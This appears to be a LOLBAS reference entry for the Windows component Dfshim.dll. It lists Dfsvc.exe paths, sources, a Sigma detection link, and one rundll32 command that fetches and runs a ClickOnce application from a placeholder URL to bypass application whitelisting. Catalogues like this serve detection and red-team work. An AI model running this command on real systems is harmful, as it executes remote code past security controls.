.. /Dfshim.dll

Star

Paths:

• C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
• C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
• C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
• C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe

Resources:

• https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
• https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe

Acknowledgements:

• Casey Smith (@subtee)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml

AWL bypass

1. Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host)

   rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo

   Use case

   Use binary to bypass Application whitelisting

   Privileges required

   User

   Operating systems

   Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1127